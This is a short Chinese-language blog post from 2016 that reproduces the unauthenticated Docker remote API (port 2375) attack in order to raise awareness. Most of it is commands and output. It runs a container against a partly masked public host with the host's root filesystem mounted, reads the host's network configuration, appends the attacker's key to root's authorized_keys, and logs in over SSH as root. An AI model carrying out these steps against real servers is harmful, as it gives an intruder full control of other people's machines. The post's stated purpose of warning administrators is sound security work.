跳转至

Docker漏洞获取宿主机 root权限


2016-06-02 by dongnan

开始之前

上篇文章中介绍 docker 远程执行命令漏洞,在公网暴漏TCP 2375端口,可以远程执行任意 docker 命令, 特别是利用容器获得宿主机 root权限,这里重现一下这个漏洞希望大家能够重视这个问题

举个栗子

思路是利用 docker 容器的 -v 挂载宿主机目录参数,获得宿主机 .ssh目录,并添加 ssh key实现登陆并控制宿主机。

创建容器并挂载宿主机根目录

# 执行命令
docker -H 115.29.xxx.xxx:2375 run -ti -v /:/tmp/root centos
cd /tmp/root/

# 执行命令  
ls

# 返回结果
ROOT.war  boot  dev  home        initrd.img.old  lib64       media  opt   root  sbin  sys  usr  vmlinuz
bin       data  etc initrd.img  lib

宿主机的网络信息

# 执行命令  
cat etc/network/interfaces

auto lo
iface lo inet loopback
auto eth1
iface eth1 inet static
address 115.29.xxx.xxx
netmask 255.255.252.0
up route add -net 0.0.0.0 netmask 0.0.0.0 gw 115.29.xxx.xxx dev eth1
auto eth0
iface eth0 inet static
address 10.161.xxx.xxx
netmask 255.255.240.0
up route add -net 172.16.0.0 netmask 255.240.0.0 gw 10.161.xxx.xxx dev eth0
up route add -net 100.64.0.0 netmask 255.192.0.0 gw 10.161.xxx.xxx dev eth0
up route add -net 10.0.0.0 netmask 255.0.0.0 gw 10.161.xxx.xxx dev eth0

为宿主机添加ssh keys

# 编辑文件
root/.ssh/authorized_keys

# 在文件尾部添加你的公钥
xxxx

测试登录宿主机

# 执行命令
ssh -v 115.29.xxx.xxx

# 操作系统
cat etc/issue
Ubuntu 14.04.3 LTS \n \l

# 用户权限
id
uid=0(root) gid=0(root) groups=0(root)

参考

Docker 远程执行命令漏洞

回到页面顶部